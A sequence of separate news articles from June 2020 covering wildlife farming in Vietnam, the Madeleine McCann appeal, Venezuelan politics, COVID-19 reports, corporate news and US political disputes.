Experts said if the commercial breeding and farming are given the go-ahead, it will be difficult for authorities to identify the legality and monitor the trading, hunting and transport of wildlife individuals and their products sold in the market, a loophole that traffickers may take advantage of.

Demand for prohibited products may also increase after they are allowed in the market while there are not enough supplies from farming facilities.

It will also be hard for captive-born animals to live in the nature if they are released as they lost their survival instinct, experts noted, adding that the populations of endangered species are already very small, and the capture of individuals for creating initial breeding sources alone may also push them to the brink of extinction in the wild./.VNA
More than 270 people contacted Scotland Yard in the first 24 hours of its appeal for information about the new Madeleine McCann suspect.

Parents Kate and Gerry McCann are said to be very encouraged by the response.

They are now waiting to learn if potential witnesses have crucial information about German convicted child sex offender Christian Brueckner.

The McCanns believe the appeal was the most significant development to date in the 13-year search for their missing daughter.

More than 270 people contacted Scotland Yard in the first 24 hours of its appeal for information about the new Madeleine McCann suspect, German convicted child sex offender Christian Brueckner (pictured)

Spokesman Clarence Mitchell said the couple, both 52, from Rothley, Leicestershire, were 'trying to maintain as normal a life as possible' for the sake of their younger children Sean and Amelie, who were toddlers when Madeleine disappeared.

He said: 'They certainly will be encouraged to know the appeal is yielding results already and hopefully within that there will be crucial bits of information.

'They are continuing their medical work where necessary and bringing the twins up as best they can, while shielding them from all the attention.'

The couple's lawyer in Portugal, Rogerio Alves, added that the parents wanted to know the truth about what happened in the Algarve during their family holiday in 2007.

Mr and Mrs McCann said earlier this week that they wanted to learn their daughter Madeleine's fate (pictured), 'whatever the outcome' and will 'never give up hope'

He told Portuguese newspaper Jornal de Noticias: 'The family want this investigation to continue because the case is still active and hasn't been resolved. Madeleine's parents want to know the truth.

'They hope this can lead to the discovery of the truth, so we will be able to know what happened, what crime was committed and who committed it and what happened to Madeleine and whether she's alive.'

Mr and Mrs McCann said earlier this week that they wanted to learn their daughter's fate, 'whatever the outcome'.

They said: 'We will never give up hope of finding Madeleine alive, but whatever the outcome may be, we need to know as we need to find peace.'
The French foreign ministry says Venezuela's opposition leader Juan Guaido, is not 'hiding' at the French embassy in Caracas despite government accusations.

France is one of 50 countries to recognize Guaido as the interim president, instead of incumbent Nicolas Maduro, re-elected in 2018 in what was described as a rigged poll.

"Juan Guaido is not at the French embassy in Caracas. We have already confirmed this information several times to the Venezuelan authorities," a statement from the Quai d'Orsay in Paris said.

This information was also confirmed by Guaido's special envoy to Paris, Isadora Zubillaga.

"Guaido is not in any embassy," she told Le Monde newspaper, "he doesn't need to hide because his people are with him."

"Those who should hide are members of the government," she said, referring to a reward of 15 million dollars posted by the United States, for the capture of President Nicolas Maduro's ministers, accused of drug dealing and support of terrorist organisations.

No arrest warrant

The announcement of Guaido's presence at the French embassy in Caracas comes just three days after President Maduro hinted that his rival was "hiding in an embassy", in a statement that the opposition leader immediately denied.

"They lie to you," Guaido wrote on Twitter, adding that he was "with the people."

Photos appeared on social media, showing Guaido holding video conferences with the National assembly over the country's oil crisis, but it didn't specify his location.

Maduro and his administration have previously labeled Guaido a "fugitive from justice" although there is no known arrest warrant against him.

"We cannot enter the premises of any country's embassy whatsoever, in this case Spain or France," foreign minister Jorge Arreaza said during a radio interview, adding that an arrest by force therefore "is not possible."

Story continues

Arreaza made the comments when asked by a journalist about Guaido's supposed presence at the embassy, and another leading opposition figure, Leopoldo Lopez, at the Spanish ambassador's residence, where he has remained for more than a year.

"We hope that these governments will change their mind ... and deliver those who wish to escape Venezuelan justice," Arreaza said.

Calling the situation "deeply irregular" he added that "it is a shame for Spain's diplomacy, it is a shame for France's diplomacy what has happened and it will take its toll very, very soon."

Guaido gets international support

France and Spain are among the more than 50 countries that recognize Guaido as the interim president of Venezuela, after the country's opposition-controlled parliament branded Maduro a usurper over his 2018 re-election in a poll widely derided as rigged.

Lopez, meanwhile, has been at the Spanish ambassador's residence since emerging from house arrest in April 2019 to join Guaido at a demonstration to try to incite a military uprising against Maduro, which never materialized.

Diplomatic tensions between Paris and Caracas over treatment of the French ambassador have run high since early May, when Venezuelan police began guarding the street where he lives and water and electricity were cut off at the residence.

These problems "affect the normal functioning of our diplomatic representation," the French foreign ministry said.
A 49-year-old Brazilian man allegedly committed suicide by hanging himself in an ashram in Rishikesh, days after he separated from his British partner, police said on Friday.

Police found a suicide note in which the man said he was depressed as his partner had left him. The note quoted from the Bhagwad Gita, saying he would now meet God, police officials said.

The Brazilian had been living in the ashram at Muni ki Reti area of Rishikesh with his partner, a 34-year-old British woman, since March 17. He allegedly committed suicide on Thursday evening.

RK Saklani, the officer in-charge of Muni Ki Reti police station, said, The man committed suicide by hanging himself in his room in the ashram between 3 pm and 4 pm on Thursday. Police came to know about it at around 4.30 pm.

He added, Police reached the spot and found him hanging. During the primary investigation, we found his tablet [computer] in which he left a suicide note, saying that he loves his partner very much but was upset as she was living separately in another room for the last few days.

It was found he was depressed about the development and decided to end his life.

Saklani said the man and woman met about three years ago in Thailand, where they reportedly fell in love and got engaged.

Both had come to the same ashram last year also. This time, however, he was in depression. He seemed to have also been influenced by the teachings at the ashram, as he mentioned the Bhagwad Gita in his suicide note and said he will now meet God after ending his life, Saklani said.

He added, As of now, it seems to be a suicide case with no foul play involved.

We have informed the Brazilian embassy in New Delhi. A probe is on into the incident as per legal proceedings.

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ABOUT THE AUTHOR Kalyan Das Kalyan Das covers crime, transport, human rights and central government offices from Bhopal and Indore. ...view detail
Kerala cops register case against Maneka over tweet on Malappuram

India

pti-PTI

Malappuram, June 05: The Kerala police has registered a case against BJP MP Maneka Gandhi for her alleged provocative remarks in connection with the death of a pregnant wild elephant in Palakkad on May 27.

The case was registered under IPC section 153 (wantonly giving provocation with the intent to cause riot) on the basis of a complaint by a person named Jaleel stating that Maneka Gandhi had levelled baseless allegations against the people of Malappuram with the intent to cause riot, Malappuram district police chief Abdul Karim U told PTI.

SC orders Delhi-UP-Haryana to frame common policy for travel in NCR | Oneindia News

Investigations were on in the case, the officer said, adding six complaints have been received against her.

The former union minister came under attack from some people in the state after she tweeted that Malappuram district was known for "its intense criminal activity" especially with regard to animals.

"Malappuram (sic) is known for its intense cirminalactivity speciallywith regards to animals. No action has ever been taken against a single poacher or wildlife killer so they keep doing it," she said.

One arrested in connection with death of pregnant elephant in Kerala

The official website of the People for Animals (PFA), an animal rights NGO foundedby Gandhi, was hacked on Friday by a group of "ethical hackers" over her remarks.

The 15-year-old elephant is suspected to have consumed a pineapple filled with powerful fire crackers, which exploded in the animal's mouth in the Silent Valley forest and it died a week later in Velliyar river.

A rubber tapper has been arrested in connection with the incident and search is on for two more accused in the case, police said.
CHEYENNE HollyFrontier Corporation announced Monday that it will be laying off about 200 employees at its Cheyenne refinery over the next 18 months.

The layoffs will come as part of the companys plan to convert its Cheyenne oil refinery into one that processes diesel fuel from renewable materials.

HollyFrontier CEO Mike Jennings said in a statement Monday that the challenges of high operating and capital costs, compounded by the effects of COVID-19, forced the shift in operations at the refinery.

We realize that this decision affects many employees, their families and the community...
A heated exchange between two Fort Campbell, Kentucky, soldiers that was captured on video was followed by a conversation, apology and resolution, base officials said Wednesday.

In the one-minute, spliced video, a soldier in a yellow pickup truck demands that another soldier, out of frame, remove "Black Lives Matter" decals from the front of his personal vehicle.

Read Next: Utah Guard Sends Green Berets Into DC to Assist with Civil Unrest Response

"Are you wearing a uniform right now? Where in the Uniform Code of Military Justice does it say that you can participate in any political protest that is going on?" the soldier in the truck says.

The other soldier, identified in the Facebook video as a specialist, retorts that other's truck has a Confederate flag in it.

"You don't like what's on the inside of my truck, don't look on the inside of my truck," the first soldier, who later identifies himself as "Sgt. Rubino," retorts.

The video, filmed Wednesday, ends there without an apparent resolution to the altercation. As of Thursday night, it had been viewed nearly 30,000 times. But Fort Campbell officials told Military.com that the two soldiers, both within Campbell's Division Sustainment Brigade, didn't leave things there.

"The battalion command team sat both soldiers down, and they had a discussion about what happened," Lt. Col. Charles Barrett, a Fort Campbell spokesman, told Military.com. "They both agreed to remove the markings on their vehicles and came away with a better understanding of each other's views."

Barrett added that the soldiers were not asked to remove the signage, but came to the decision on their own. He said, to his knowledge, they were not in violation of any military policy. Nor was any equivalence made between Black Lives Matter and the Confederate flag.

The Defense Department prohibits service members from political advocacy and demonstrations in uniform and bars large political signs and banners from being flown from private vehicles, but permits bumper stickers and non-political vehicle markings.

More insight into the aftermath of the encounter comes in another public video, shot and posted to YouTube by another Fort Campbell soldier, Sgt. Shyrone Clark. Clark, who had seen the original video, walks to Rubino's shop, visibly enraged, and ready for a confrontation.

"I don't even know the soldier, but there was a viral video going out last night with his face and that f-----g truck right there, and he had a Confederate flag or whatever. This [other] soldier had BLM all over his car," Clark said in the video. "That's not actively out there protesting on the side of the road. You can have whatever on your car."

Rubino, who can be heard off-camera, immediately admits he was wrong.

"I really wasn't trying to be offensive. I was misinformed, and I interpreted things the wrong way," he said. "It was hypocritical for me to have that on my truck and then call that soldier out. I hope the soldier understands I was not in any way trying to offend or anything like that."

After several more minutes of conversation, Clark is visibly appeased.

"The Confederate flag doesn't bother me, people saying there's nothing wrong behind it, I don't care what they fly," he said. "I have white friends that fly it."

After more conversation with Rubino's first sergeant, he wishes them a good day and departs.

Military.com has reached out to the Fort Campbell employee, identified as Allie Shaw, who posted the original confrontation video and shared the follow-up video with Clark for comment and further insights into the matter.

The incident comes as Black Lives Matter protests erupt across the nation following the death of George Floyd, an unarmed man, at the hands of police in Minneapolis.

While for many the Confederate flag represents the nation's ugly history of slavery and racism, the posters in this case emphasized that their top concern was equal representation of viewpoints.

"My thing is I have no issue with the people who have a confederate flag. It's their first right," Shaw wrote in a comment. "However, why is that theirs but supporting BLM isn't ours?"

-- Hope Hodge Seck can be reached at hope.seck@military.com. Follow her on Twitter at @HopeSeck.

Related: Military Leaders to Troops: It's Time to Talk About Racism and Protests
Mexico City officials said Friday that prosecutors are investigating several doctors who allegedly issued false death certificates for people who may have died of the coronavirus.

As deaths mount in Mexico, the need to quickly dispose of corpses has apparently led to a black market in death certificates. Mexico reported 625 newly confirmed COVID-19 deaths Friday, down from a peak of 1,092 on Wednesday and 816 on Thursday. The country now regularly adds more than 4,000 confirmed infections each day, and the cumulative case total stands at over 110,000, though officials acknowledge the real number is many times higher.

In describing the investigation, Mexico City Mayor Claudia Sheinbaum alleged the doctors were involved in charging for these services, despite the fact that death certificates are supposed to be free but the process to obtain them can sometimes be lengthy and bureaucratic.

They sold these certificates when they should not have, Sheinbaum said.

The scheme purportedly involved at least one city government employee and around 10 doctors, none of whom were city hospital employees, the mayor said.

There are also indications the doctors may have signed off causes of death other than COVID-19 for bodies they had never seen or examined, though the reasons were unclear, officials said.

But bodies had been piling up at hospitals in Mexico City as the pandemic worsened, and some relatives may have simply wanted to get their deceased family members released more quickly. In addition, bodies of people who died from COVID-19 have to be cremated or buried under stricter rules so some families may have paid for a false certificate to avoid that or the social stigma the virus carries.

No charges have been filed in the case.

It would not be the first scandal in Mexico involving businesses that have grown up around the pandemic.

In May, authorities found 3.5 tons of hospital waste illegally dumped in the woods on the outskirts of Mexico City. Officials also discovered 6,000 cubic yards (meters) of medical waste piled ceiling high at a warehouse in Puebla state.

Teetering piles of discarded coffins, meanwhile, have piled up outside Mexico Citys overworked crematoriums. Specialized waste incinerators are over-taxed by the flood of disposed protective equipment and infectious tissue being generated amid the pandemic.

Mexico is plagued by widespread problems with unregulated firms in both the waste disposal and funeral industries. According to the Senate, 60% of funeral agencies in Mexico are either unregistered or not fully registered.
Credit: CC0 Public Domain

In a time when we have to rely on clinical trials for COVID-19 drugs and vaccines, a new study in the Proceedings of the National Academy of Sciences (PNAS) brings good news about the credibility of registered clinical trials.

The authors are two Bocconi Professors of Economics, Jerome Adda and Marco Ottaviani, and a former MSc student of theirs, Christian Decker, now a Ph.D. candidate at the University of Zurich.

In a clinical trial, statistical significance is a key prerequisite for marketing approval of new drugs. Under a certain threshold of significance, the results of the trial could, in fact, be due to chance and not to the efficacy of the drug. Given the research costs involved and the lure of large potential profits by the pharmaceutical companies sponsoring the trial, investigators may be pressured to beautify data, a standard argument goes. Previous studies of results of statistical tests reported in scientific journals across a number of disciplines did actually detect an anomalous concentration of significance values immediately above the significance threshold, raising suspicions of selective reporting as well as manipulation.

Adda, Ottaviani and Decker concentrated their attention on the trials registered in ClinicalTrials.gov, the largest registry in the world, and focused on the differences in the results of phase II and phase III trials of the same drug. In phase II a drug's efficacy is initially established in a small sample of people (usually in the low hundreds); in phase III safety and efficacy are then confirmed in a larger group of volunteers (usually in the low thousands). Reasonable expectations are that the statistical significance of phase II will be confirmed in phase III and that trials that record a significance level under the threshold in phase II will be suspended.

Observing all the registered trials, the scholars observe a discontinuity around the significance threshold value only in phase III, but not the spike denounced by previous studies: Trials just above the thresholds are only slightly more numerous than expected. They limited their observations to the trials registered by the top 10 pharma companies and by smaller operators. While larger companies are more inclined to suspend experimentation under threshold in phase II, small companies tend to continue with more of the trials under threshold and end up recording a higher share of trials above threshold in phase III. The predicted share of trial results above threshold in phase III for large companies is 65%, and the actually recorded share 68%; with small companies (that bring to phase III also less promising drug candidates), the figures are 57% and 76%.

"Even in the case of phase III trials by small companies," Professor Ottaviani explains, "we do not observe the spike of results just above the significance threshold. We think that the registration process is key for transparency."

More information: Jerome Adda et al, P-hacking in clinical trials and how incentives shape the distribution of results across phases, Proceedings of the National Academy of Sciences (2020). Journal information: Proceedings of the National Academy of Sciences Jerome Adda et al, P-hacking in clinical trials and how incentives shape the distribution of results across phases,(2020). DOI: 10.1073/pnas.1919906117

Provided by Bocconi University
WASHINGTON - President Donald Trump signed an executive order Thursday instructing agencies to waive long-standing environmental laws to speed up federal approval for new mines, highways, pipelines and other projects given the current economic "emergency."

Declaring an economic emergency lets the president invoke a section of federal law allowing "action with significant environmental impact" without observing normal requirements imposed by laws such as the Endangered Species Act and the National Environmental Policy Act. These laws require agencies to solicit public input on proposed projects and analyze in detail how federal decisions could harm the environment.

In the order, the president said setting aside these requirements would help the nation recover from the economic losses it has suffered since the outbreak of the coronavirus: "Unnecessary regulatory delays will deny our citizens opportunities for jobs and economic security, keeping millions of Americans out of work and hindering our economic recovery from the national emergency."

It is unclear how the directive will affect individual projects, especially since developers are often wary of legal challenges they could face from environmental or public interest groups. Jason Bordoff, founding director of Columbia University's Center on Global Energy Policy, said in an email that "companies would be reluctant to rely on such an executive order," knowing they would later have to prove that they were operating in an emergency.

Jason Redd, an engineer in the power sector based in Alabama, tweeted: "Project developer here...there is *NO WAY* I would turn a shovelful of dirt based on this Order."

Trump's desire to weaken the National Environmental Policy Act predates the eruption of the pandemic in the United States. In early January, the president proposed fundamental changes to 50-year-old regulations to narrow its scope. Those changes would mean that communities would have less control over some projects built in their neighborhoods. Environmental groups, tribal activists and others have used the law to delay or block infrastructure, mining, logging and drilling projects since it was signed by President Richard M. Nixon in 1970.

Washington Post photo by Bonnie Jo Mount

Those proposed changes are under review by the White House Office of Management and Budget and could be finalized within weeks. In addition, earlier this week the Environmental Protection Agency finalized a rulemaking it harder for states, tribes and the public to block pipelines and other projects that could pollute their waterways.

The order will also accelerate civil works projects overseen by the U.S. Army Corps of Engineers and instruct the Interior, Agriculture and Defense departments to use their authorities to speed up projects on federal lands.

Just in the past month, Trump signed an executive order instructing agencies to ease regulatory requirements whenever possible to bolster the economy. The energy industry has argued these steps will provide critical aid to businesses during the current downturn.

"Removing bureaucratic barriers that stifle economic growth is paramount to getting American energy workers back in their jobs and spurring business investment that gets our economy moving again," said American Exploration and Production Council chief executive Anne Bradbury, whose group represents the country's shale industry and large producers of oil and gas. "We value the importance of these reforms now, and underscore the need for finalizing rules across regulatory agencies that will implement permanent reforms."

American Gas Association President Karen Harbert said the directive "rebalances the permitting process to consider environmental impacts and the need for infrastructure, jobs and affordable energy."

But Thomas Jensen, a partner at the firm Perkins Coie, said in an email that any decisions made in response to the executive order could be challenged in court. He noted that the National Environmental Policy Act was enacted 50 years ago partly to prevent arbitrary federal decisions such as building highways through parks and communities of color and that the current administration cannot simply set aside laws aimed at protecting vulnerable Americans or the environment.

"I will not be surprised to see many observers comparing this move - declaring an emergency to shield agency decisions from the public - to the order to clear Lafayette Square on Monday evening," Jensen said, referring to actions in a Washington park this week. "It's just one more face of authoritarian ideology, with a clear link to issues of race and equality and government accountability."
Chennai, June 5 : Tamil Nadu on Friday reported 1,438 cases of fresh coronavirus infections over the past 24 hours, the state Health Department said.

The state also reported 12 deaths, taking the death toll to 232.

On the positive side, a total of 861 Covid-19 patients were discharged from various hospitals, taking the total number of cured persons to 15,762 out of the total infected number of 28,694.

The number of active cases including in the isolation centres is at 12,697.

In a statement issued here, the Health Department said 1,438 persons tested positive, taking the total tally to 28,694 persons.

Chennai saw the highest number of infections at 1,116 taking the total tally to 19,826 and is followed by Chengalpattu (1,624), Tiruvallur (1,191), Cuddalore (474) and Kancheepuram (483).

On Friday 15,692 samples were tested taking the total to 5.60 lakh. Testing of 684 samples are under process.

The number of infected children in the age group 0-12 went up to 1,571.

With state capital Chennai continuing to see uptrend in new infections, reporting over 1,000 coronavirus infections for the past couple of days, including 1,116 on Friday, Chief Minister K. Palaniswami has nominated five ministers to oversee the coordination and coronavirus relief works in the city's 15 zones.

The five are Fisheries Minister D.Jayakumar, Higher Education Minister, K.P. Anbalagan, Food and Civil Supplies Minister R.Kamaraj, Revenue and Disaster Management Minister R.B. Udhyakumar, and Transport Minister K.R.Vijayabhaskar.


CUPERTINO (dpa-AFX) - Apple Inc. is taking necessary precautions including Covid-19 testing for those employees returning to work at its headquarters in Silicon Valley, Bloomberg reported citing people familiar with the process.



The company, which opened its main Apple Park office in May bringing back some hardware and software engineers, plans the gradual reopening of the building keeping the coronavirus safeguards.



In order to stop the spread of Covid-19, the employees will be offered an option of taking a nasal swab test to screen for the virus. Further, all are required to wear masks and undergo temperature checks. Such measures are already in place at Apple Stores across the U.S.



As per the report, Apple is making changes to the layout of the open floor work areas in its campus in Cupertino, California to maintain social distancing. In these areas, staff members were used to work in close proximity.



As part of the plans, some employees will be working in the Apple campus only a few days a week, and the company will limit the number of people allowed in confined spaces such as elevators.



Further, many break-room kitchens have been closed, and signs have kept asking employees to wear masks.



Most technology companies are expecting to allow their employees to continue to work from home at least till year end with the virus spreading fear still going strong.



Google in late May said it plans to reopen offices in more cities beginning July 6, but still expects and encourages most Googlers to largely work from home for the rest of 2020. The search giant also offered an allowance of $1,000 for those working from home to meet the expense to buy equipment and office furniture.



Facebook CEO Mark Zuckerberg recently said the company is looking to begin to open most of its offices on July 6, expecting only about 25 percent of its existing workforce to return to their desks by the end of 2020.



In mid-May, Twitter and Square CEO Jack Dorsey also said that employees at both of his companies can opt to work from home permanently.



Copyright RTT News/dpa-AFX

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SPRINGFIELD  Families picking up weekly food boxes from Oasis Food Pantry in Springfield received gallons of milk along with their fresh produce and meat Friday.

This is really great for our families. We try to always provide fresh fruit and produce as well as meat and fresh eggs when we can. The milk is so appreciated," said Angela Foley-Powers, director of the food pantry which has been providing free food to residents in Springfield and surrounding communities for more than five years.

The food comes from The Food Bank of Western Massachusetts, as well as 90 Meat Outlet and C&S Wholesale Grocers. The 3,000 gallons of milk was donated by Vanguard Renewables, state Rep. Shawn Dooley, R-Norfolk, and H.P. Hood.

U.S. Rep. Richard Neal, D-Springfield stopped by Springfield Central High School Friday, where the weekly food pantry is set up, to help load the food and milk into cars and thank volunteers for their efforts.

See these people coming through, but for you there may not have been a meal tonight and I want to thank you, he said to volunteers as a line of cars came through the high school parking lot.

The need has increased greatly since the coronavirus pandemic has left many people without employment.

We went from serving about 500 families a week to 3,000, Foley-Powers said. We get between 80-100 volunteers every week and its because of them and donations like this one that we can provide for these families.

Neal said there have been many instances where farmers have to get rid of food because they cannot sell it due to the pandemic.

We have all seen the frustrating pictures of farmers having to dump milk and we just tried to figure out how we might be able to take advantage of that milk and get it to people who at this time are in need and can use it, he said. There are 30 million Americans who have filed unemployment claims and we wanted to make that connection between those in need and the farmers.

Ryan Harb, an account executive with Vanguard Renewables said this is the fourth event across the state and Rhode Island where milk has been donated to local food pantries. The company which turns food waste into renewable energy partners with five farms in Massachusetts including Barsow Dairy Farm in Hadley, Bar-Way Farm in Deerfield, Jordan Dairy Farms in Rutland and Spencer and Crescent Farm in Haverhill.

A lot of the milk they produce goes to schools or to colleges and because the demand on that has gone down there is this surplus of milk, he said. This milk is good milk so we dont want to put that in our digester, we want it to go to humans, to families who need it.

Oasis Food Pantry is part of the Positive Regard Network a private school system working with children between the ages of 5-22 years-old. Staff from the schools help get the food to families every week.

Tasheka Simms, an interventionist at the Center School, said she enjoys distributing the food.

You just see the smiles on their faces. I especially like interacting with the kids, she said.

Due to the pandemic the distribution process has changed. Everyone wears masks and gloves and the food is placed in the trunk of the vehicles as they come through the parking lot.

Judith Brown has been volunteering to help out at the food pantry since it first started.

My son was part of Positive Regard and I have been here since the beginning with the food pantry, she said. There is a lot of need in the community, especially now."

Neal said he hopes to coordinate another milk donation event soon and continue to ensure that Massachusetts residents have food and financial support during the pandemic.

I do think that Congress acted swiftly, understanding the nature of the challenge, unemployment insurance was huge. Just about every economist would say that what we did with wage replacement and unemployment insurance was perhaps the most critical undertaking, he said.

Related to:
Reliance Industries Limited and Jio Platforms Limited have announced the Abu Dhabi-based sovereign investor Mubadala Investment Company (Mubadala) will invest Rs 9,093.60 crore in Jio Platforms at an equity value of 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. Mubadala's investment will translate into a 1.85% equity stake in Jio Platforms on a fully diluted basis, the company said.

Reliance has now sold a combined 19% interest in Jio Platforms and the current investment -- sixth in less than six weeks -- takes Jio Platforms' total funding to Rs 87,655.35 crore from some of the world's leading global technology and growth investors, including Facebook, Silver Lake, Vista Equity Partners, General Atlantic and KKR.

Also read: Mukesh Ambani scores 5th cheque! KKR to invest Rs 11,367 cr into Jio Platforms

Mukesh Ambani, Chairman and Managing Director of Reliance Industries, said: "Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadala's work in diversifying and globally connecting the UAE's knowledge-based economy. We look forward to benefitting from Mubadala's experience and insights from supporting growth journeys across the world."

Also read: Silver Lake to invest Rs 5,655 cr in Jio Platforms at higher valuation than Facebook deal

Khaldoon Al Mubarak, Managing Director and Group CEO, Mubadala Investment Company, said: "We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting India's digital growth journey. With Jio's network of investors and partners, we believe the platform company will further the development of the digital economy."

Mubadala invests and partners to advance Abu Dhabi's diversified economy across transformative information and communications technology sectors, including cognitive computing, ICT infrastructure, telecoms and satellite operations. It established its ventures arm in 2017 to partner early with innovative businesses and currently manages several venture funds in the US, Europe and the Middle East.

JPL was created as a subsidiary of RIL in October last year to bring together all digital and mobility businesses under one roof. The new entity has become the parent of Reliance Jio Infocomm and applications like MyJio, JioTV, JioCinema, JioNews and JioSaavn, besides content-generation ventures. Thus, the operating company Reliance Jio became a step-down subsidiary of RIL.

Also read: Mukesh Ambani's Jio Platforms bags Rs 11,367 cr investment from Vista after FB, Silver Lake

For making JPL debt-free, the parent company has infused Rs 1.08 lakh crore in it. They want to build JPL like Alibaba and Google, which claim high valuations in the stock markets. RIL has been using the cash flow from its flagship petroleum refining business to build the telecom and retail subsidiaries all these years. The Indian conglomerate has spent about Rs 4 lakh crore to build Reliance Jio.

Also Read: General Atlantic to invest Rs 6,598 crore in Mukesh Ambani's Jio Platforms
A lobbyist with close ties to President Donald Trump ended his relationship with the District of Columbia Friday as tensions grew between the president and Mayor Muriel Bowser.

Brian Ballard, who was hired by the city last month by the city to secure coronavirus funding, said Friday he was withdrawing from his contract with the D.C. government.

"We can't be effective under the current situation," Ballard said, about an hour after Trump lambasted Bowser on Twitter as part of a days-long feud over protests in the nation's capitol.

Trump and Bowser have battled in recent days over military presence in the city. On Friday, the city finished painting 16th Street to say "BLACK LIVES MATTER" in large yellow font on a road outside the White House.

Bowser has called for the National Guard to leave D.C. streets and has mocked the president for being "alone/afraid" in the White House after he falsely accused her last week of keeping the D.C. police from protecting the White House during protests. D.C. police have been involved in the effort.

Trump attacked her as "incompetent" and "out of control" in a tweet Friday afternoon.

Federal coronavirus relief legislation treated the District as a territory for funding purposes, denying the city the minimum $1.25 billion guaranteed to each state. The District instead received $500 million, even though its residents pays federal taxes unlike territories and it is generally treated as a state for federal funding purposes.

Ballard has become one of the most profitable lobbyists in Washington during the Trump administration and he fundraises for the president's campaign. He lives in Tallahassee and Washington and is active in Trump's re-election effort in Florida. Ballard has secured lucrative contracts from companies and other groups looking to sway the Trump administration.

He inked a contract with the city on May 15. According to city officials, the contract can go for four months "for a not-to-exceed amount of $50,000" with the potential for more money.

Ballard publicly disclosed the contract on Friday, after city officials told The Washington Post on Thursday night that they had hired Ballard and a Democratic firm, called theGroup, to lobby on issues related to the government's response to the coronavirus pandemic.

"In May, the District of Columbia contracted a bipartisan team to provide strategic consulting and advice to the Administration in connection with their relationship with the United States Government in its effort to secure covid-19 funding allocations and associated issues," the city said.

Ballard was working to help the city get additional coronavirus aid, even as Trump accused the city of seeking "handouts." Ballard said he was making "progress."

The mayor's office did not immediately respond to a request for comment.
WASHINGTON - President Donald Trump made his demands for the planned Republican National Convention in Charlotte quite clear to North Carolina Gov. Roy Cooper, who had balked at agreeing to a mass gathering of tens of thousands of delegates, allies and media.

In a Friday phone call, Trump told the Democratic governor he would accept his party's nomination in an arena filled with cheering supporters, coronavirus pandemic or not.

He pulled from his own history, citing the June 2015 event at which he announced his candidacy for president after gliding into the lobby of Trump Tower in New York.

"Since the day I came down the escalator, I've never had an empty seat and I find the biggest stadiums," he told Cooper on Friday, according to two people familiar with the call who requested anonymity to share its contents. "I don't want to be sitting in a place that's 50 percent empty," Trump said.

Trump's obsession with crowd size and the spectacle he insisted should greet his renomination came on a day during which extraordinary pressure was building on other fronts, as protesters against police violence began to mass near the White House and in cities and towns across America.

Trump, in the roughly 15-minute conversation, casually dismissed any health concerns that might arise from squeezing thousands of supporters - wearing masks only if they choose to - inside an arena to hear his acceptance speech. The full details of the call have not previously been reported. The White House did not immediately respond to a request for comment.

The president's call to Cooper - who unsuccessfully pleaded, by praising Trump, that the president abide by restrictions set by health officials - came on the same day Trump called Florida Gov. Ron DeSantis, a Republican, to see whether he might host the convention on Trump's terms.

The call marked an extension of the president's war with Democratic governors, who he claims have moved too slowly to reopen the country after months of self-imposed quarantines meant to slow the virus' spread. Cooper, like other governors and health officials - including those from Trump's own administration - continues to call for cautious reopenings, the wearing of masks when near others, social distancing, and curbs on mass gatherings.

Cooper has insisted that it is too early to determine what will be safe for the convention, scheduled to be held Aug. 24-27. Trump had a blunt response to Cooper's reminders about the potential cost of crowding so many people into a closed arena.

"We can't do social distancing," the president said, according to the two people familiar with the call.

The Friday conversation was the second time that week that Trump inserted himself into the middle of a two-year planning process for his party's convention and derailed ongoing talks about how to safely hold a mass gathering in the midst of a pandemic. He began the week with a Memorial Day broadside against Cooper in which he mocked the governor as still being "in shutdown mood."

The fallout has sent RNC officials shuttling around the country to consider other options. Possible replacements include Jacksonville and Orlando in Florida, Nashville, New Orleans and even Las Vegas, the only other city that submitted a formal bid to host the convention back in 2018. Also in play are Phoenix, the site of a major anti-Trump rally in 2017, and Dallas, according to a Republican operative.

A Republican familiar with the talks said RNC officials are asking those cities to approve the convention on Trump's terms: without social distancing or required masks. As those talks proceed, the convention host committee pushed Thursday for a meeting in Charlotte to "resolve open questions as expeditiously as possible," according to a copy of the invitation.

Those familiar with the call who recounted it for The Post described it as cordial, even as Trump pushed the Democratic governor to overrule public health concerns and accelerate reopening.

"We're in a different situation now," Cooper said at one point.

He asked Trump to allow the RNC to negotiate a scaled down event.

Trump replied: "We can't do scaled down."

At one point during the call, Cooper pushed back, according to the two people familiar with the conversation. He asked Trump whether he was worried about his supporters, and the possibility that they would become sick.

"No, I'm not because we've learned a lot about it," Trump said, referring to the coronavirus.

He asserted that older people with underlying conditions are more susceptible to it, the two sources said. Trump added that the infection rate "is so small" and offered that each participant could be tested and receive a stamp of some kind showing the negative result.

Cooper, praising Trump as "smart," countered that the president had curtailed his campaign rallies since the pandemic exploded in the United States, hewing to medical advice.

"I gave it up," Trump said, according to the two people familiar with the call. But, he added: "I think we'll start them very soon."

The president said he was confident that he would be able to find a second home for the convention that would allow full attendance without restrictions such as masks and social distancing.

"I believe other states will do it," Trump said, according to the two people familiar with the conversation. "Otherwise, we'll cancel the whole damn thing."

Trump wants a back-to-normal convention, one that could be the largest political gathering since late winter, to represent the nation's recovery from the twin health and economic crises that have threatened his reelection.

Democrats, wrestling with the same dilemma of balancing their marquee summer event with health concerns, are already planning a significantly smaller convention. Their mantra that they will abide by the recommendations of health officials underscores their insistence that the nation should be governed by science and safety, and putting health above political opportunity.

Only two cities offered real bids to host the Republican convention in 2018, with Las Vegas proposing a plan that lacked backing from city leaders or tourism officials. Charlotte only went forward with the convention after a contentious city council meeting that had over 100 people debating whether the city should host such an event.

But if the desire for an economic boon as a result of the convention won out then, the dynamic has since shifted.

On May 22, Cooper, along with North Carolina Department of Health and Human Services Secretary Mandy Cohen, spoke with Republican Party chair Ronna McDaniel to discuss how to proceed with the convention. RNC officials discussed holding a limited convention to accommodate safety concerns, according to an official familiar with the conversation.

North Carolina officials were taken by surprise on Memorial Day when Trump aimed his critical tweets at Cooper. The tweet launched a serious discussion among RNC officials about moving the gathering, and by the following day, both DeSantis and Georgia Gov. Brian Kemp, a Republican, were publicly offering their states as hosts.

At a news conference in North Carolina, Cooper said he would be guided by public health officials as he determined the next steps. "It's okay for political conventions to be political, but pandemic response cannot be," Cooper said.

Trump replied that he needed to know "within a week" and the RNC set a June 3 deadline for North Carolina officials to approve their convention plans.

The RNC followed up with a letter to Cooper that laid out Trump's position: "A full convention entailed 19,000 delegates, alternate delegates, staff, volunteers, elected officials and guests inside the Spectrum Center," according to the letter. "We are planning a full convention starting Aug. 24."

